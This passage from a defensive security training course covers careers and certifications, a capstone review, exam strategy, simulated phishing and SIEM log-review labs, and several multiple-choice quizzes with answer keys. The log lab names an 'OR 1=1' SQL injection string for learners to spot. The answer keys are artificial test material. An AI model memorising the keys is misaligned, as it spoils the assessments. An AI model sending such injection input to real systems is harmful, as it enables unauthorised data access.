- 3 **Do:** Describe your current skills: basic networking, some Python, comfortable with Linux.

Simulator shows:

The advisor records the skills in a side panel.

- 4 **Do:** Answer whether you prefer working with people and policy or deep technical tasks.

Simulator shows:

A weight shifts toward technical roles.

- 5 **Do:** Answer the question about report writing and tolerance for long documentation.

Simulator shows:

The advisor adjusts the offense and GRC scores.

- 6 **Do:** Choose how many study hours you can commit per week.

Simulator shows:

The advisor tailors the timeline.

- 7 **Do:** Request your match.

Simulator shows:

A recommendation card appears with a top role, a second option and reasons.

- 8 **Do:** Open the next-steps list.

Simulator shows:

It lists a first certification, a practice platform and one portfolio project.

ANSWER

The result depends on your answers. For a log-and-pattern preference with Python skills, expect SOC analyst or detection engineering, with Security+ as a first certification, a defensive platform like Blue Team Labs Online or CyberDefenders, and a home-lab log project.

Hint shown in the app: Answer honestly about the work you enjoy; the match follows your preferences, not what sounds impressive.

Careers and Next Steps: 10 questions, 80% to pass

1. Which certification is typically the first broad, vendor-neutral security exam?
 - A) CISSP
 - B) Security+
 - C) CEH
 - D) SSCP
2. CISSP full certification generally requires about how much paid experience?
 - A) None
 - B) One year
 - C) Five years
 - D) Fifteen years
3. Which exam style does eJPT use?
 - A) Only multiple choice recall
 - B) A practical lab where you answer from your findings
 - C) An essay
 - D) An oral interview
4. Which certification focuses on analyst skills like log analysis, vulnerability management and threat intelligence?
 - A) CySA+
 - B) Network+
 - C) CISSP
 - D) eJPT
5. What should a portfolio write-up always include besides the steps?
 - A) The defender takeaway and reasoning
 - B) Real passwords
 - C) Employer data
 - D) Nothing else
6. Where should deliberately vulnerable lab machines be placed?
 - A) On your home Wi-Fi
 - B) On an isolated host-only or internal network
 - C) On the public internet
 - D) On your work network
7. Which platform offers Linux command-line wargames such as Bandit?
 - A) OverTheWire
 - B) SOC2
 - C) pfSense
 - D) ISO 27001
8. Which role manages risk registers, policies and audit evidence?
 - A) GRC
 - B) Pentester
 - C) DFIR
 - D) SOC Tier 1
9. Which role mostly collects disk and memory images and builds timelines after an incident?
 - A) DFIR investigator
 - B) GRC analyst
 - C) AppSec engineer
 - D) Help desk technician
10. What is the best way to avoid wasting money on certifications?
 - A) Collect as many as possible
 - B) Match each to a role requirement and your career goal
 - C) Buy the most expensive
 - D) Take them in random order

Answers: 1-B 2-C 3-B 4-A 5-A 6-B 7-A 8-A 9-A 10-B

1. Security+ covers broad foundations with no formal prerequisite.
2. CISSP requires about five years in two or more domains, with some reductions.
3. eJPT is a hands-on lab-based exam.
4. CompTIA CySA+ targets security analysts.
5. Reasoning and defensive lessons demonstrate understanding, and sensitive data must stay out.
6. Isolation prevents accidental exposure.
7. OverTheWire hosts the Bandit wargame.
8. GRC covers governance, risk and compliance.
9. DFIR investigates confirmed incidents with forensic methods.
10. Each credential should answer a concrete need.

Capstone Review

Intermediate | 2 lessons | 2 simulated labs | checkpoint | about 2h 20m

This capstone brings together everything from the Security Core path. You will review principles, cryptography, identity, network, web, endpoint, detection, privacy and cloud topics in mixed form, then learn how to read scenario questions, eliminate distractors, manage time and log missed topics. The labs ask you to make decisions across a full incident and to review logs while tracking which domains need more study before the final exam.

BY THE END YOU CAN

- + Recall core concepts across all Security Core modules
- + Solve mixed scenario questions under time
- + Identify weak areas to revisit

IN THIS MODULE

Lesson 1 Mixed review across modules

Lesson 2 Final exam strategy and review

Lab 1 Mixed incident scenario (Scenario)

Lab 2 Weak-area log review (Mock SIEM)

Checkpoint 10 questions, 80% to pass

Mixed review across modules

Real problems do not arrive labeled by topic, so you must connect principles, cryptography, web, network and defense ideas on demand.

Principles, threats and people

Start from the foundations. Confidentiality, integrity and availability describe what you protect, while authentication, authorization and accounting describe how access is controlled. Frameworks give structure: the cyber kill chain and MITRE ATT&CK describe attacker behavior, NIST CSF organizes functions such as identify, protect, detect, respond and recover, and ISO 27001 and CIS Controls provide control sets. Threat actors range from criminals seeking money to state groups seeking secrets. Social engineering ties many incidents together: phishing, smishing, vishing and business email compromise exploit trust, so verification by a second channel and awareness training are core defenses.

Cryptography and identity

Keep the three transformations distinct. Encoding such as Base64 is reversible by anyone and gives no secrecy. Encryption is reversible with a key: symmetric (AES) uses one shared key, asymmetric (RSA, elliptic curves) uses a key pair. Hashing is one-way, and passwords should be stored with a slow salted hash such as bcrypt, scrypt or Argon2. Digital signatures prove origin and integrity, and certificates issued by a certificate authority bind a public key to a name in the TLS handshake. For access, combine strong passwords or a manager with MFA, least privilege through RBAC or ABAC, SSO with SAML or OIDC, and well-handled session tokens.

Network, web and endpoint defense

Network controls layer: firewalls filter by rule, IDS detects and IPS blocks, proxies mediate traffic, VPNs protect links, and segmentation with a DMZ limits spread. Know classic attacks such as ARP spoofing, man-in-the-middle and DDoS, and prefer secure protocols like HTTPS, SSH and SFTP over HTTP, Telnet and FTP. For web applications, remember the OWASP Top 10: injection is prevented with parameterized queries, XSS with output encoding and a content security policy, CSRF with tokens and SameSite cookies, and IDOR with server-side authorization checks. On endpoints use hardening, patching, EDR, disk encryption and 3-2-1 backups: three copies, two media types, one offsite.

Detection, response, privacy and cloud

Vulnerability management uses CVE identifiers, CWE weaknesses and CVSS scores, but priority also depends on exposure and asset value. Detection relies on logs, a SIEM, alert triage and threat intelligence; incident response follows preparation, detection and analysis, containment, eradication, recovery and lessons learned. Offensive work must stay within written rules of engagement. Privacy brings PII, GDPR and CCPA, classification, DLP and retention limits. In the cloud, the shared responsibility model means the provider secures the platform while you secure your identities, configuration and data. Public storage buckets and over-permissive roles remain leading causes of exposure.

FAST RECALL SHEET

CIA: confidentiality, integrity, availability
 Encode != encrypt != hash
 SQLi -> parameterized queries | XSS -> output encoding
 CSRF -> tokens + SameSite | IDOR -> authz check
 Backups 3-2-1 | IR: prep, detect, contain, eradicate, recover, lessons
 Cloud: provider secures platform, you secure config, IAM, data

WORKED EXAMPLE

A fictional employee at Example Corp enters credentials on a fake login page (social engineering). The attacker logs in because MFA was not enforced (authentication), reads a shared storage bucket that was set to public (cloud misconfiguration), and personal data leaves the company (privacy and GDPR duty). Logs in the SIEM show the unusual login, and the response team resets sessions and notifies the regulator. One incident touches six modules.

KEY TERMS

Defense in depth: Layering multiple controls so one failure does not cause a breach.

Least privilege: Granting only the access needed to do a task.

CVSS: A 0 to 10 severity scoring system for vulnerabilities.

Shared responsibility: The split of security duties between a cloud provider and its customer.

3-2-1 backup: Three copies of data on two media types with one kept offsite.

REMEMBER

- Connect principles, crypto, identity, network, web, endpoint, detection, privacy and cloud into one picture.
- Match attacks to their standard fixes, such as parameterized queries for injection.
- Real incidents cross many modules, so practice tracing the full chain.

QUICK CHECK

1. Which control best prevents SQL injection?

- A) Output encoding
- B) Parameterized queries
- C) SameSite cookies
- D) Larger passwords

2. Which statement about hashing is correct?

- A) It is reversible with a key
- B) It is one-way and suited to password storage when salted and slow
- C) It is the same as Base64
- D) It requires a public key

3. In the cloud shared responsibility model, who secures customer data and IAM configuration?

- A) Always the provider
- B) The customer
- C) Nobody
- D) The internet registrar

4. Which backup rule is 3-2-1?

- A) 3 users, 2 servers, 1 admin
- B) 3 copies, 2 media types, 1 offsite
- C) 3 days, 2 weeks, 1 month
- D) 3 firewalls, 2 VPNs, 1 proxy

Answers: 1-B 2-B 3-B 4-B

1. Parameterized queries keep user input as data, not SQL code.
2. Password hashes should be one-way, salted and computationally slow, like Argon2 or bcrypt.
3. The customer is responsible for their data, identities and configuration.
4. It means three copies, on two types of media, with one offsite.

Final exam strategy and review

Knowing the material is half the task; reading scenario questions carefully and spending time well is the other half.

Reading scenario questions

Scenario questions describe a situation and ask for the best action, the most likely cause, or the first step. Read the last sentence first so you know what is being asked, then read the scenario for facts. Underline qualifiers such as best, first, most likely, least and not, because they change the answer. Identify the domain being tested: is this identity, network, cryptography, response? Then predict an answer before looking at the options, which stops attractive distractors from steering you. If the stem mentions a stage of incident response, remember that containment normally comes before eradication.

Eliminating distractors

Distractors are usually wrong for a reason you can name. Some answers are true statements that do not answer the question. Some are too extreme, using words like always or never. Some solve a different problem, such as suggesting encryption for an availability issue. Some are the right action at the wrong time, for example restoring from backup before containing the intruder. Remove options you can disprove, then compare the remaining ones against the exact wording. Prefer preventive, least-privilege, defense-in-depth answers over drastic ones, and prefer fixing the root cause over treating a symptom.

Managing time and uncertainty

Divide the exam time by the number of questions to get a pace, for example 60 questions in 60 minutes is about one minute each. Answer easy items first, flag uncertain ones, and return after one pass. Never leave a question blank unless negative marking applies; make an informed guess after eliminating options. Do not change an answer without a concrete reason, since first instincts based on knowledge are often right. Keep a few minutes at the end to check flagged items and to confirm that every question has a response.

Reviewing missed topics

After every practice set, log each miss and classify it: knowledge gap, misread question, or careless slip. Group knowledge gaps by module and revisit that lesson, then redo similar questions after a day and again after a week, which uses spacing to strengthen memory. Rewrite the rule in your own words and add a one-line example. Track your score by domain, so a weak area such as cryptography or cloud shows up clearly. Before the final exam, sleep, review your recall sheet, and aim for a steady pace, not last-minute cramming.

MISS LOG TEMPLATE

Q#	Module	Type (gap/misread/slip)	Rule in my words	Retry date
12	CORE-04	gap	salt defeats precomputed tables	+1 day
27	CORE-10	misread	'first' step = containment	+1 day
41	CORE-06	slip	IPS blocks, IDS only alerts	+7 days

WORKED EXAMPLE

A question at the fictional firm Example Corp says that an analyst confirms ransomware on one workstation and asks for the FIRST action. Options are restore from backup, isolate the host from the network, reset all passwords, and write a report. The candidate predicts containment, sees that isolation matches, and eliminates restoring first as wrong timing and the report as later. The qualifier first made the difference.

KEY TERMS

Qualifier: A word such as best, first or least that defines what the question wants.

Distractor: A plausible but incorrect answer option.

Spaced review: Revisiting material at increasing intervals to improve retention.

Root cause: The underlying reason for a problem, as opposed to its symptom.

Miss log: A record of wrong answers with the reason and the correct rule.

REMEMBER

- Read the question, find qualifiers and predict an answer before viewing options.

- Eliminate options by naming why each is wrong, including wrong timing and wrong problem.
- Pace yourself, flag, log misses by module and retest with spacing.

QUICK CHECK

1. What should you identify before reading the answer options?
 - A) The longest option
 - B) What the question is asking and a predicted answer
 - C) The most technical word
 - D) How many options there are
2. Which option type is usually a distractor?
 - A) One that answers the exact question
 - B) One that is true but solves a different problem
 - C) One matching the qualifier
 - D) One using least privilege correctly
3. A question asks for the FIRST step after confirming malware on a host. What is the best typical answer?
 - A) Containment, such as isolating the host
 - B) Writing the final report
 - C) Wiping all backups
 - D) Buying new tools
4. Which review habit is most effective for missed topics?
 - A) Reading the same page once more
 - B) Logging misses by type and module and retesting with spacing
 - C) Ignoring them
 - D) Memorizing answer letters

Answers: 1-B 2-B 3-A 4-B

1. Predicting an answer first reduces the pull of distractors.
2. A true statement can still be the wrong answer if it does not address the question.
3. Containment limits spread before eradication and recovery.
4. Classifying misses and spaced retesting target actual gaps.

Mixed incident scenario

SCENARIO

At the fictional firm Example Corp, an employee named Jordan receives an email that appears to be from IT and enters credentials on a fake login page hosted at login.example.net. Within hours, the attacker signs in from 203.0.113.50 and finds a cloud storage container with customer data. The simulator walks through five decision points from the phishing email to the data exposure, and at each point you pick the single best control or action from four options.

OBJECTIVE

Choose the right control at each step of a phishing-to-data-exposure incident.

STEPS IN THE SIMULATOR

- 1 Do:** Decision 1: The phishing email arrives. Choose the best preventive control.

Simulator shows:

Options include email filtering with link checks and user awareness; select it and the simulator confirms.

- 2 Do:** Decision 2: The attacker uses stolen credentials. Choose what would have blocked the login.

Simulator shows:

Select multi-factor authentication; the simulator notes a stolen password alone is then insufficient.

- 3 Do:** Decision 3: Logs show a login from 203.0.113.50 at an unusual hour. Choose the detection step.

Simulator shows:

Select SIEM alert triage on the anomalous login; the simulator opens an incident.

- 4 Do:** Decision 4: Data in a public storage container is exposed. Choose the fix.

Simulator shows:

Select blocking public access and tightening IAM with least privilege.

- 5 Do:** Decision 5: Containment. Choose the first response action.

Simulator shows:

Select disabling Jordan's sessions, resetting credentials and blocking the source address.

- 6 Do:** Decision 6: Personal data may be involved. Choose the compliance action.

Simulator shows:

Select assessing the breach and notifying the regulator and affected people as GDPR or local law requires.

- 7 Do:** Review the final summary.

Simulator shows:

The simulator lists each control, the module it belongs to, and your score.

ANSWER

Best choices: email filtering and awareness, MFA, SIEM triage of the anomalous login, blocking public storage with least-privilege IAM, session revocation and credential reset for containment, then breach assessment and notification. Each maps to a different module, showing defense in depth.

Hint shown in the app: Ask at each step whether the question is prevention, detection, containment or compliance, and pick the control that matches that stage.

Weak-area log review

SCENARIO

You are a junior analyst at the fictional firm Example Corp reviewing a small SIEM data set built from earlier modules. It contains authentication logs, web server entries, firewall events and a DNS record sample using addresses such as 192.0.2.10 and 198.51.100.7. Ten review tasks ask you to find items like repeated failed logins, a suspicious query string and an unusual outbound connection. A scoreboard tracks which domains you miss.

OBJECTIVE

Answer review tasks on alerts and logs and identify weak domains.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the authentication log and search for repeated failed logins from one source.

Simulator shows:

Many failures from 198.51.100.7 appear; the task asks what attack this suggests.

- 2 **Do:** Answer: password guessing or brute force, mitigated by lockout and MFA.

Simulator shows:

Scoreboard credits Authentication.

- 3 **Do:** Open the web log and find a request with a quote and OR 1=1 in the query string.

Simulator shows:

The entry is highlighted and a question asks for the category.

- 4 **Do:** Answer: SQL injection, fixed by parameterized queries.

Simulator shows:

Scoreboard credits Web security.

- 5 **Do:** Open firewall events and find a large outbound transfer to 203.0.113.80 at night.

Simulator shows:

The task asks for the likely concern and next action.

- 6 **Do:** Answer: possible data exfiltration; investigate the host and contain if confirmed.

Simulator shows:

Scoreboard credits Defense and response.

- 7 **Do:** Open the DNS sample and identify a very long random-looking subdomain.

Simulator shows:

A question asks what this may indicate.

- 8 **Do:** Answer: possible DNS tunneling or malware beaconing; review the domain with threat intelligence.

Simulator shows:

Scoreboard credits Network security, then shows your weakest domains.

ANSWER

Expected answers are brute force (lockout and MFA), SQL injection (parameterized queries), possible exfiltration (investigate and contain) and DNS tunneling or beaconing (threat intelligence). Use the scoreboard to revisit the modules where you missed items.

Hint shown in the app: Name the pattern first (repetition, injection characters, unusual volume or timing), then the matching defense.

Capstone Review: 10 questions, 80% to pass

1. Which pair correctly maps an attack to a primary defense?
 - A) XSS and output encoding
 - B) SQL injection and larger monitors
 - C) CSRF and disk encryption
 - D) IDOR and Base64
2. An attacker alters a transferred file without being detected. Which CIA property failed?
 - A) Confidentiality
 - B) Integrity
 - C) Availability
 - D) Anonymity
3. Which statement about Base64 is correct?
 - A) It encrypts data securely
 - B) It is an encoding that anyone can reverse
 - C) It is a hash
 - D) It is a signature
4. Why is a salt added when hashing passwords?
 - A) To make the hash reversible
 - B) To defeat precomputed lookup tables and make identical passwords hash differently
 - C) To shorten the hash
 - D) To encrypt the database
5. A user can read another user's invoice by changing id=100 to id=101 in the URL. What is this flaw?
 - A) IDOR
 - B) CSRF
 - C) DDoS
 - D) ARP spoofing
6. Which device both detects and actively blocks malicious traffic?
 - A) IDS
 - B) IPS
 - C) Hub
 - D) Passive tap
7. Which backup approach follows 3-2-1?
 - A) Three copies, two media types, one offsite
 - B) Three drives in one room
 - C) Two copies on the same server
 - D) One copy only
8. In incident response, what normally comes right after detection and analysis?
 - A) Containment
 - B) Lessons learned
 - C) Hiring
 - D) Archiving
9. A company puts customer data in a cloud storage bucket set to public. Whose duty was it to configure access correctly under shared responsibility?
 - A) The customer
 - B) The cloud provider only
 - C) The ISP
 - D) Nobody
10. An email from the 'CEO' urgently asks finance to wire money to a new account. What is the best first action?
 - A) Wire it quickly
 - B) Verify through a separate trusted channel such as a known phone number
 - C) Reply asking for more details by email
 - D) Forward to everyone

Answers: 1-A 2-B 3-B 4-B 5-A 6-B 7-A 8-A 9-A 10-B

1. Output encoding with a content security policy mitigates XSS.
2. Unauthorized modification breaks integrity, which hashes and signatures help detect.
3. Base64 is reversible encoding with no secrecy.
4. A unique salt per password stops rainbow tables and reuse patterns.
5. Insecure direct object reference arises from missing server-side authorization checks.
6. An intrusion prevention system sits in line and can drop traffic, while an IDS only alerts.
7. The rule gives resilience against both device failure and site loss.
8. Containment limits damage before eradication and recovery.
9. Customers configure access to their own data and identities.
10. Out-of-band verification defeats business email compromise.